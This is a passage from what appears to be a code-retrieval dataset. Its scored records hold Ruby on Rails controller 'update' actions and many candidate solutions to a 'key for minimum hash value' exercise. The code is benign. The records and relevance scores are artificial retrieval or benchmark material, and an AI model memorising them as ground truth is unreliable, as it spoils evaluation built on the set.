"def update\n respond_to do |format|\n if @categoriamural.update(categoriamural_params)\n format.html { redirect_to @categoriamural, notice: 'Categoriamural was successfully updated.' }\n format.json { render :show, status: :ok, location: @categoriamural }\n else\n format.html { render :edit }\n format.json { render json: @categoriamural.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "10a586445b6276fab832ffa97f83c7a3", "score": "0.6003999", "text": "def update\n authorize! :update, @category, :message => 'Not authorized as an administrator.'\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3e19b732887b744bf37af3798aa2300d", "score": "0.60011065", "text": "def update\n if params[:category_id].empty? \n @resource.category_id = 1\n else\n @resource.category_id = params[:category_id]\n end\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f5b17ac52308320c90b422184ea6bdd3", "score": "0.6000425", "text": "def update\n @categorie_comptable = CategorieComptable.find(params[:id])\n\n respond_to do |format|\n if @categorie_comptable.update_attributes(params[:categorie_comptable])\n format.html { redirect_to @categorie_comptable, notice: 'Categorie comptable was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @categorie_comptable.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aba82e3c411df5f37e65430d8fb814b8", "score": "0.60002095", "text": "def update\n add_breadcrumb 'Edit category'\n\n respond_to do |format|\n if @category.update(category_params)\n format.html do\n redirect_to @category, notice: 'Category was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json do\n render json: @category.errors, status: :unprocessable_entity\n end\n end\n end\n end", "title": "" }, { "docid": "b242ae16ef0b4e695066dd97b3f8b60b", "score": "0.5996194", "text": "def update\n respond_to do |format|\n if @subcategorium.update(subcategorium_params)\n format.html { redirect_to @subcategorium, notice: 'Subcategoria fue actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @subcategorium }\n else\n format.html { render :edit }\n format.json { render json: @subcategorium.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a85cd022a5584b85f3e352d7f5d309c", "score": "0.59919435", "text": "def update_many\n if @categories.update_all(category_params)\n render json: @categories, status: :ok, location: categories_url\n else\n render json: @categories.map{ |category| category.errors }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "43cca477f627d46c74f093c126d4acd6", "score": "0.5982775", "text": "def update\n @theme = Theme.find(params[:theme_id])\n @category = @theme.categories.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @theme, notice: 'Category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n\n end", "title": "" }, { "docid": "e94a1d2605409f1c6846465b4cee7741", "score": "0.5981858", "text": "def update\n @category = Category.find(params[:id])\n if params[:category].has_key?(\"background_attributes\") && params[:category][:background_attributes].has_key?(\"id\")\n params[:category][:background_attributes].delete(\"id\")\n end\n \n #only users who own this category can change it. Super Admins can change it too.\n if @category.allowed_to_save\n respond_to do |format|\n if @category.update_attributes(params[:category])\n expire_fragment(%r{cat_tree_\\d*})\n expire_action :controller => :home, :action => :index\n flash[:notice] = 'Category was successfully updated.'\n format.html { redirect_to(@category) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @category.errors, :status => :unprocessable_entity }\n end\n end\n else\n flash[:notice] = 'Permission denied.'\n redirect_back\n end\n end", "title": "" }, { "docid": "62721ca98b288ec81448b4b563c810bc", "score": "0.59814847", "text": "def update\n @categories = current_user.negocio.cat_articulos\n @marcas = current_user.negocio.marca_productos\n @presentaciones = current_user.negocio.presentacion_productos\n @sucursales = current_user.negocio.sucursals\n respond_to do |format|\n if @articulo.update(articulo_params)\n format.json { head :no_content}\n format.js\n #format.html { redirect_to @articulo, notice: 'El producto fue actualizado' }\n #format.json { render :show, status: :ok, location: @articulo }\n else\n #format.html { render :edit }\n #format.json { render json: @articulo.errors, status: :unprocessable_entity }\n format.json {render json: @articulo.errors.full_messages, status: :unprocessable_entity}\n format.js {render :edit}\n end\n end\n end", "title": "" }, { "docid": "b980de1283fee60cee5bbe86476d901b", "score": "0.59793335", "text": "def update\n @categoria_usuario = CategoriaUsuario.find(params[:id])\n\n respond_to do |format|\n if @categoria_usuario.update_attributes(params[:categoria_usuario])\n flash[:notice] = 'CategoriaUsuario was successfully updated.'\n format.html { redirect_to(@categoria_usuario) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @categoria_usuario.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d79176110bb619249094665551ec187", "score": "0.59789133", "text": "def update\n respond_to do |format|\n if @category_producto.update(category_producto_params)\n format.html { redirect_to @category_producto, notice: 'Category producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @category_producto }\n else\n format.html { render :edit }\n format.json { render json: @category_producto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "89cc10ac2549786fd0b4ec8884c63406", "score": "0.5977457", "text": "def update\n @admin_product_category = ProductCategory.find(params[:id])\n\n respond_to do |format|\n if @admin_product_category.update_attributes(params[:product_category])\n format.html { redirect_to [:admin,@admin_product_category], notice: 'Atualizado com sucesso.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_product_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8e168028c3a510388817369ad953085f", "score": "0.59695584", "text": "def update\n respond_to do |format|\n if @type_category.update(type_category_params)\n format.html { redirect_to admin_type_categories_path, notice: 'la categoria del video fue modificada' }\n format.json { render :show, status: :ok, location: @type_category }\n else\n format.html { render :edit }\n format.json { render json: @type_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "769d86257383708d09a54ad486babaee", "score": "0.5968643", "text": "def update\n @cotacao = Cotacao.find(params[:id])\n\n respond_to do |format|\n if @cotacao.update_attributes(params[:cotacao])\n format.html { redirect_to [:admin, @cotacao], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cotacao.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e96526784a7057e4cc1c0aa538d18828", "score": "0.59661025", "text": "def update\n @catalogo_tipo_catalogo = Catalogo::TipoCatalogo.find(params[:id])\n\n respond_to do |format|\n if @catalogo_tipo_catalogo.update_attributes(params[:catalogo_tipo_catalogo])\n format.html { redirect_to edit_catalogo_tipo_catalogo_path(@catalogo_tipo_catalogo), notice: 'Guardado Correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @catalogo_tipo_catalogo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5eb6c9bd9b27b1950728e9accd0dc5de", "score": "0.5963208", "text": "def update\n respond_to do |format|\n if @category.update(category_params)\n # update parent\n @category.parent.clear\n @category.parent << Category.find(params[:parent_id]) if params[:parent_id].present?\n # update all level\n Category.update_all_level\n \n format.html { redirect_to edit_admin_category_path(@category.id), notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b78b6deaf69bc66b572a00b1a5f0fe4c", "score": "0.5960754", "text": "def update\n if current_user.role == 'admin' \n @cats = Cat.all\n respond_to do |format|\n if @pedido.update(pedido_params)\n format.html { redirect_to @pedido, notice: 'Pedido was successfully updated.' }\n format.json { render :show, status: :ok, location: @pedido }\n else\n format.html { render :edit }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to \"/\", notice: 'Rota desconhecida.'\n end\n end", "title": "" }, { "docid": "92f2bdacdfa89400a3e88e32f9a27b5a", "score": "0.59476703", "text": "def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Categoria actualizada.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8239b9e154c5e3505053adf19b3de0cd", "score": "0.5938606", "text": "def update\n \n # authorize\n authorize! :update, @product\n\n @categories = Category.all\n\n if params[:category_ids].present?\n @product.categories.clear\n # update category id\n catid = nil\n params[:category_ids].each do |id| \n catid = id if id.present?\n end\n @category = Category.find(catid) if catid.present?\n @product.categories << Category.find(catid) if catid.present?\n end \n \n @product.areas.clear\n if params[:area_ids].present?\n @product.areas.clear\n params[:area_ids].each do |id| \n @product.areas << Area.find(id)\n end\n end\n \n if params[:article_ids].present?\n @product.articles.clear\n params[:article_ids].each do |id|\n @product.articles << Article.find(id)\n end\n end\n \n # update status\n @product.status = nil if params[:product][:status].present?\n @product.status = params[:product][:status].join(\",\") if params[:product][:status].present?\n \n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to edit_admin_product_path(@product.id), notice: 'Chỉnh sửa sản phẩm thành công.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3e52503da054f7fb687e78d6e37052a7", "score": "0.5936865", "text": "def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to admincp_category_path(@category), notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
bd3a7dfddc30bc69012064ac1ec450c4
Given a hash with numeric values, return the key for the smallest value
[ { "docid": "88ee3ac068fbc5ba79a642519fde52d9", "score": "0.0", "text": "def key_for_min_value(name_hash)\n smallest = \"\"\n previous = \"\"\n if name_hash.empty?\n nil\n else\n name_hash.each do |key, value|\n if ((smallest == \"\") || (smallest > value))\n smallest = value\n end\n end\n end\n name_hash.key(smallest)\nend", "title": "" } ]
[ { "docid": "187165074e32a7573ee53a9cabb44ed4", "score": "0.8880233", "text": "def key_for_min_value(hash)\n lowest_key=nil \n lowest_value= Float::INFINITY\n hash.each do |name,number|\n if number < lowest_value\n lowest_value=number\n lowest_key= name\n end \n end\n lowest_key\nend", "title": "" }, { "docid": "226515ade14f33b0d702f287edd6fe9d", "score": "0.8876092", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\n end", "title": "" }, { "docid": "917f353c232d4640614845e6b7c840f9", "score": "0.88518804", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\n end", "title": "" }, { "docid": "10348c0f7efbf074c6402f6f47742839", "score": "0.8821222", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |key, value|\n if value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "d6c24d339b21831095c887c09768a0a6", "score": "0.8777674", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "d6c24d339b21831095c887c09768a0a6", "score": "0.8777674", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "5274f7bbba68cf15df3562d80d7ce3f1", "score": "0.8759345", "text": "def key_for_min_value(hash)\n low_key = nil\n low_val = 0\n hash.each do |key, val|\n if low_val == 0 || val < low_val\n low_val = val\n low_key = key\n end\n end\n low_key\n end", "title": "" }, { "docid": "1cc15f9ecd834daad0140761a4b31ca3", "score": "0.8738179", "text": "def key_for_min_value(hash)\n smallest = nil\n hash.each do |key, value|\n \tsmallest = key if smallest.nil?\n \tsmallest = key if value < hash[smallest]\n end\n smallest\nend", "title": "" }, { "docid": "90c5f24a7f0c6124d8f166cfd4439d06", "score": "0.8682318", "text": "def key_for_min_value(hash)\nlowest_key = nil\nlowest_val = Float::INFINITY\n hash.each do |key, val|\n if val < lowest_val\n lowest_val = val\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "d5553af71103c724668cba7fc4393ff5", "score": "0.8608696", "text": "def key_for_min_value(hash)\n value_array = []\n hash.each do |key, value|\n value_array << value\n end\n\n lowest_value = value_array.first\n value_array.each do |value|\n if value < lowest_value\n lowest_value = value\n end\n end\n\n hash.key(lowest_value)\nend", "title": "" }, { "docid": "8a58975f18d4954a20fccb99f6dc9b40", "score": "0.86069804", "text": "def key_for_min_value(num_hash)\n min_value = num_hash.collect{|key, num| num}.sort[0]\n key, num = num_hash.find {|key, num| num == min_value}\n key\nend", "title": "" }, { "docid": "45c7290567499ca3ce034aafdea8b667", "score": "0.85895216", "text": "def key_for_min_value(name_hash)\n lowest_number = Float::INFINITY\n lowest_key = nil\n name_hash.collect do |key, value|\n if value < lowest_number\n lowest_number = value\n lowest_key = key\n end\n end\n lowest_key \nend", "title": "" }, { "docid": "abf68bb16569607b80dedf139280c6d1", "score": "0.8577498", "text": "def key_for_min_value(hash)\n hash.min_by {|k,v| k}\nend", "title": "" }, { "docid": "a12e2b92a2177eaf9075e9e4abaaf51b", "score": "0.85733384", "text": "def key_for_min_value(hash)\n smallest_key = nil\n tiniest_value = nil\n hash.each do |key, value|\n if tiniest_value == nil || value < tiniest_value\n tiniest_value = value\n smallest_key = key\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "d1cf716c45a59a3f1faad1c83f59f7d7", "score": "0.8569831", "text": "def key_for_min_value(hash)\n\tnew_hash = Hash[hash.sort_by{|k,v| v}]\n\tnew_hash.keys.first\nend", "title": "" }, { "docid": "83f467e9815c0a652cb12bacbb080468", "score": "0.8560613", "text": "def key_for_min_value(hash)\n smallest_key = nil\n smallest_value = nil\n\n hash.each do |key, value|\n if smallest_value == nil || value < smallest_value\n smallest_value = value\n smallest_key = key\n end\n end\n return smallest_key\nend", "title": "" }, { "docid": "4350b724f36fef31121f91da1137c1c1", "score": "0.8559755", "text": "def key_for_min_value(hash)\n lowest = 1000000000000000000000\n if hash.empty?\n return nil\n else\n arr = hash.map do |key, value|\n if hash[key] <= lowest\n lowest = hash[key]\n end\n end\n hash.each do |key, value|\n if lowest == hash[key]\n return key\n end\n end\n end\nend", "title": "" }, { "docid": "f76a4cd2274f14f75d352b14c8d29bd1", "score": "0.8544509", "text": "def key_for_min_value(hash)\n if hash.empty?\n return nil\n else\n min_value = Float::INFINITY\n min_key = \"\"\n hash.each do |key, val|\n if val < min_value\n min_value = val\n min_key = key\n end\n end\n end\n min_key\nend", "title": "" }, { "docid": "4f23d7ac240865f09f0b4a3c14bcbc4a", "score": "0.8538959", "text": "def key_for_min_value(hash) \n small_key = nil\n small_value = nil\n hash.each do |a, b|\n if small_value == nil || b < small_value\n small_value = b\n small_key = a\n end\n end \n small_key\nend", "title": "" }, { "docid": "c6b25d8461cbb575dfa919b8f81a332c", "score": "0.8529734", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "c6b25d8461cbb575dfa919b8f81a332c", "score": "0.8529734", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "fd2efe9fd3810bfa002f7199cf8dab19", "score": "0.8504164", "text": "def key_for_min_value(hash)\n small_val = nil\n small_key = nil\n\n hash.collect do |key, value|\n if small_val == nil || small_val > value\n small_val = value\n small_key = key\n end\n end\n small_key\nend", "title": "" }, { "docid": "fc8481fa0f37bc7cbe43dc4d941b10aa", "score": "0.85032785", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_val = nil\n hash.each do |key, val|\n if lowest_val == nil || val < lowest_val\n lowest_val = val\n lowest_key = key\n end\n end\n lowest_key\n\nend", "title": "" }, { "docid": "cbc05af89f66bfee58f5064b1d205024", "score": "0.8494298", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |key, value|\n if lowest_value == nil || value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "3c6700cbd2ea0361870bd4d85c2db76f", "score": "0.84636635", "text": "def key_for_min_value(hash)\n min_value = nil\n min_key = nil\n\n hash.each do |key, value|\n if min_value == nil || value < min_value\n \tmin_value = value\n \tmin_key = key\n end\n end\n min_key\nend", "title": "" }, { "docid": "73a5bd3b8b46a6e68dad6296c171f06c", "score": "0.846195", "text": "def key_for_min_value(hash)\n\tmin = Hash.new\n\tmin_value = 0\n\thash.each_pair do | key, num |\n\t\tif \tmin.empty?\n\t\t\tmin[key] = num\n\t\t\tmin_value = min[key]\n\t\telsif num < min_value\n\t\t\tmin.replace({key => num})\n\t\tend\n\tend\n\tmin.values\nend", "title": "" }, { "docid": "5ced3d13f6443860d99f05be7d515c1b", "score": "0.8459832", "text": "def key_for_min_value(hash_value)\n hash.invert.min&.last\nend", "title": "" }, { "docid": "b8ab4fe1e885b44f703fa1fa6f07a509", "score": "0.84537005", "text": "def key_for_min_value(hash)\n if hash.length == 0\n return\n end\n min = hash.first[1]\n min_key = hash.first[0]\n hash.each do |key, value|\n if value < min \n min = value\n min_key = key\n end\n end\n min_key\nend", "title": "" }, { "docid": "35891c2372ee9459348a913a0898da90", "score": "0.84471047", "text": "def key_for_min_value(hash)\n ref = nil\n answer = nil\n hash.each do |key, value|\n if ref == nil || value < ref\n ref = value\n answer = key\n end\n end\n answer\nend", "title": "" }, { "docid": "3be616dbcc198bab000a36f9482a9e25", "score": "0.84452415", "text": "def key_for_min_value(name_hash)\n\tlowest_int = 9999999999999\n\tlowest_int_key = nil\n\tname_hash.each do |key, value|\n\t\tif value < lowest_int\n\t\t\tlowest_int = value\n\t\t\tlowest_int_key = key\n\t\tend\n\tend\n\treturn lowest_int_key\nend", "title": "" }, { "docid": "5931a9b151f13dba8e800b2da35f4657", "score": "0.8444214", "text": "def key_for_min_value(hash)\n least = hash.reduce do |key, value|\n key.last > value.last ? value : key\n end \n if hash == {}\n least\n else\n least.first\n end\n end", "title": "" }, { "docid": "2d02c97195dd4c65890a5bf73a5eaaac", "score": "0.84352696", "text": "def key_for_min_value(hash)\nsmall_val=999999\nsmall_key= nil\n hash.each do |key, value|\n if value < small_val\n small_val = value \n small_key = key \n \n end\n end\n return small_key\nend", "title": "" }, { "docid": "68c083b336f4655607cd05a6f4ce1e7b", "score": "0.84334904", "text": "def key_for_min_value(name_hash)\n smallest = nil\n smallest_key = nil\n if name_hash.empty?\n return smallest_key\n else\n name_hash.each do |key, number|\n if smallest == nil\n smallest = number\n smallest_key = key\n elsif number <= smallest\n smallest = number\n smallest_key = key\n else\n smallest_key\n end\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "99dc179f590c57b51993ee5538a0dec3", "score": "0.8431498", "text": "def key_for_min_value(name_hash)\n if name_hash == {}\n return nil\n end\n return_key = nil\n smallest = Float::INFINITY\n name_hash.each do |key, value|\n if value.to_i < smallest\n smallest = value.to_i\n return_key = key\n end\n end\n return_key\nend", "title": "" }, { "docid": "7341ca23ed68b4691dab2252b518b7a1", "score": "0.84286124", "text": "def key_for_min_value(hash)\n smallest_name = nil\n smallest_number = nil\n hash.each do |name, number|\n if smallest_number == nil || number < smallest_number\n smallest_number = number\n smallest_name = name\n end\n end\n smallest_name\nend", "title": "" }, { "docid": "020830f22425fece3b77fc5e8838f5cb", "score": "0.8426038", "text": "def key_for_min_value(hash)\n if hash == {}\n return nil\n else\n key_array = []\n value_array = []\n\n hash.each do |name, value|\n key_array << name\n value_array << value\n end\n\n i = 0\n smallest = value_array[0]\n\n value_array.each_with_index do |value, index|\n if value < smallest\n smallest = value\n i = index\n end\n end\n\n return key_array[i]\n end\nend", "title": "" }, { "docid": "46cb8698c6271a1cc374219528e87211", "score": "0.84254867", "text": "def key_for_min_value(hash)\n low_key = nil\n hash.each do |key, value|\n if low_key == nil || (low_key != nil && value < hash[low_key])\n low_key = key\n end\n end\n low_key\nend", "title": "" }, { "docid": "f0b4fe84074d3b429486583cb056e941", "score": "0.84170204", "text": "def key_for_min_value(hash)\n return nil if hash == {}\n ks = hash.map{|k, v| k}\n vs = hash.map{|k, v| v}\n min_index = vs.index(vs.min)\n ks[min_index]\nend", "title": "" }, { "docid": "8ea89fee2b9b053283cd67f01b4bd116", "score": "0.84115523", "text": "def key_for_min_value(hash)\n\n smallest = hash.collect {|key, value| value}\n smallest = smallest.min\n\n output = nil\n hash.each do |key, val|\n if val==smallest\n output=key\n end\n end\n output\nend", "title": "" }, { "docid": "c82d264affee3c7aeee4771c0c2138ee", "score": "0.84088475", "text": "def key_for_min_value(hash)\n i = 0\n min = 0\n min_key = nil\n hash.each do |key, value|\n unless i > 0\n min = value\n min_key = key\n end\n if min > value\n min = value\n min_key = key\n end\n i += 1\n end\n min_key\nend", "title": "" }, { "docid": "769884cf17d9db6fbb75b9316ca174d7", "score": "0.8401291", "text": "def key_for_min_value(hash)\n return nil if hash.size == 0\n min = hash.first\n hash.each {|k, v| v <= min[1] ? min = [k, v] : nil}\n min[0]\nend", "title": "" }, { "docid": "c45c181efc7de1e218dc24ac2734e986", "score": "0.8397138", "text": "def key_for_min_value(name_hash)\n return nil if name_hash.size == 0\n numbers = name_hash.collect {|name, number| number}\n lowest_key = \"\"\n lowest_num = numbers[0]\n name_hash.each do|name, num|\n if num <= lowest_num\n lowest_key = name\n lowest_num = num\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "f7db41a1cd50a93ab7a3e5aa0633e7ed", "score": "0.8392749", "text": "def key_for_min_value(hash)\n return nil if hash.empty?\n min_value_key = nil\n min_value = (2**(0.size * 8 -2) -1) #Theorectical Fixnum_max \n #http://stackoverflow.com/questions/535721/ruby-max-integer\n hash.each do |key, value|\n \tif value < min_value\n \t\tmin_value_key = key \n \t\tmin_value = value\n \tend\n end\n min_value_key\nend", "title": "" }, { "docid": "9fe8fd05d03cff6f26dd4fea5eead4d5", "score": "0.83924854", "text": "def key_for_min_value(name_hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n name_hash.collect do |word, num|\n if num < lowest_value\n lowest_value = num\n lowest_key = word\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "5bf622df6f77ac34ecf5b2b18a63645a", "score": "0.8390647", "text": "def key_for_min_value(hash)\nlowest_k = nil\nlowest_v = nil\nhash.each do |k, v|\n if lowest_v == nil || v < lowest_v\n lowest_v = v\n lowest_k = k\n end\n end\n lowest_k\n end", "title": "" }, { "docid": "4eaac21f353e79687cc22e2dc77383ce", "score": "0.8385918", "text": "def key_for_min_value(hash)\n return nil if hash.empty? == true\n minimum = [nil, Float::INFINITY]\n hash.each do |key, value|\n if value < minimum[1]\n minimum = [key, value]\n end \n end\n minimum[0]\nend", "title": "" }, { "docid": "41f0d5d4371e7e781570c4842a0b94c6", "score": "0.8357127", "text": "def key_for_min_value(hash)\n min = nil\n k = nil\n hash.each do |key, value|\n if !min || value < min\n min = value\n k = key\n end\n end\n k\nend", "title": "" }, { "docid": "7f14531cc53cc34d9511f767e6802bc3", "score": "0.83537424", "text": "def key_for_min_value(hash)\n min_val = nil\n min_key = nil\n \n hash.each do |key, value|\n if min_val == nil || value < min_val \n min_val = value\n min_key = key\n end\n end \n return min_key\nend", "title": "" }, { "docid": "b95a68401d61853e70592407ff571cd2", "score": "0.83466", "text": "def key_for_min_value(hash)\n\n low_name = nil\n low_val = nil\n\n hash.each do |name, value|\n if low_val == nil || value < low_val\n low_val = value\n low_name = name\n end\n end\n return low_name\nend", "title": "" }, { "docid": "d5dfe37d5df260abb8710e463b1fe496", "score": "0.8343532", "text": "def key_for_min_value(name_hash)\n smallest = nil\n smallkey = nil\n if name_hash == {}\n nil\n else\n name_hash.collect do |key, value|\n if nil == smallest\n smallest = value\n smallkey = key\n elsif value < smallest\n smallest = value\n smallkey = key\n end\n end\n smallkey\n end\nend", "title": "" }, { "docid": "b16999cb8da6c5e1834d351837391d0d", "score": "0.83429825", "text": "def key_for_min_value(name_hash)\n smallest = Float::INFINITY\n sel = nil\n name_hash.collect do |k,v|\n if v < smallest\n smallest = v\n sel = k\n end\n end\n sel\nend", "title": "" }, { "docid": "857cc51f5b6466f0430d231363675ebf", "score": "0.8335412", "text": "def key_for_min_value(name_hash)\nsmallest_key=nil\nsmallest_value = 10000\nname_hash.each do |key, number| \n if number<=smallest_value\n smallest_value=number\n end\nend\nname_hash.key(smallest_value)\nend", "title": "" }, { "docid": "cfce992210d54da8d8e0779dd767fa8c", "score": "0.833354", "text": "def key_for_min_value(name_hash)\n low = Float::INFINITY # express infinity\n name_hash.each do |key, value|\n if value < low\n low = value\n end\n end\n name_hash.key(low)\nend", "title": "" }, { "docid": "f6433b669cfc53e3a16fcb7150f69b0b", "score": "0.83270353", "text": "def key_for_min_value(the_hash)\n vals = the_hash.map { |k, v| v }\n keys = the_hash.map { |k, v| k }\n lowest = vals.sort[0]\n\n if the_hash.empty?\n nil\n else\n return keys[vals.index(lowest)]\n end\nend", "title": "" }, { "docid": "5a67ad385bebec655f7c2d75ca28158d", "score": "0.83264685", "text": "def key_for_min_value(hash)\n low_key = nil\n high_value = 100000\n hash.each do |key, value|\n if value < high_value\n high_value = value\n low_key = key\n end\n end\n low_key\nend", "title": "" }, { "docid": "aa1f9c93291d2bc18f48a727341b1d48", "score": "0.8324085", "text": "def key_for_min_value(name_hash)\n smallest = nil\n final_key = nil\n name_hash.each do |key, value|\n if !smallest\n smallest = value\n final_key = key\n else\n if value < smallest\n smallest = value\n final_key = key\n end\n end\n end\n final_key\nend", "title": "" }, { "docid": "93060b60c5fc8699ce56aab3aa5aa633", "score": "0.83214045", "text": "def key_for_min_value(name_hash)\n\tskey, smallest = name_hash.first\n\tname_hash.each do |key, value|\n\t\tif value < smallest\n\t\t\tskey = key\n\t\tend\n\tend\n\tskey\nend", "title": "" }, { "docid": "b414e6e748b033108975ab3559eeb4ac", "score": "0.8320678", "text": "def key_for_min_value(name_hash)\n key_of_lowest_value = nil\n lowest_value = 999999999999\n name_hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n key_of_lowest_value = k\n end\n end\n key_of_lowest_value\nend", "title": "" }, { "docid": "51a6cadf90ff0488493c451230083dc0", "score": "0.83166426", "text": "def key_for_min_value(hash)\n if hash.length == 0 \n return nil \n end\n \n min_key = 9999\n min_val = 9999\n \n hash.each do |key, value|\n if value < min_val\n min_val = value\n min_key = key\n end\n end\n return min_key\n \n \nend", "title": "" }, { "docid": "ded2ec0f491d9511b7412df8aeca5ef7", "score": "0.83131516", "text": "def key_for_min_value(name_hash)\n lowest_value = 1000\n lowest_key = nil\n name_hash.each do |key, value|\n if value < lowest_value\n lowest_value = value\n end\n if lowest_value == value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "cae87c3799e039dd1987880e1b822b73", "score": "0.83032495", "text": "def key_for_min_value(hash)\n min_k = nil\n min_v = nil\n hash.each do |key, value|\n min_k = key if min_k == nil\n min_v = value if min_v == nil\n if value < min_v\n min_v = value\n min_k = key\n end\nend\n min_k\nend", "title": "" }, { "docid": "648bd9d1f9348e215d9d8b065f08807f", "score": "0.8300904", "text": "def key_for_min_value(name_hash)\n lowest_value = 0\n lowest_key = nil\n name_hash.each do |key,value|\n if lowest_value == 0 || value < lowest_value\n lowest_value = value \n lowest_key = key\n end\n end\n lowest_key\n end", "title": "" }, { "docid": "e0b51124441bb3a0844fd1cbb9841254", "score": "0.8299353", "text": "def key_for_min_value(has)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k,v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "b0b3d135407df1cd296dfea704f502c9", "score": "0.8297111", "text": "def key_for_min_value(hash)\n lowest_key = nil \n lowest_value = nil\n hash.collect do |a, b|\n if lowest_value == nil || b < lowest_value\n lowest_value = b\n lowest_key = a \n end\n end\n lowest_key\nend", "title": "" }, { "docid": "c39b4b472ca2c3b934c6a4768c11d10b", "score": "0.8290588", "text": "def key_for_min_value(hash)\n out = nil\n nill = nil \n hash.each do |k,v|\n if nill == nil || v < nill\n out = k\n nill = v\n end\n end\n out\nend", "title": "" }, { "docid": "475cc305ddb149081fa9fba1de97c060", "score": "0.8284883", "text": "def key_for_min_value(hash)\n\tif hash != {}\n\t\tarray = hash.sort_by{|k,v| v}\n\t\tnew_hash = Hash[array.map {|key, value| [key, value]}]\n\t\tkey_array = new_hash.keys\n\t\tkey_array[0]\n\telse\n\t\tnil\n\tend\nend", "title": "" }, { "docid": 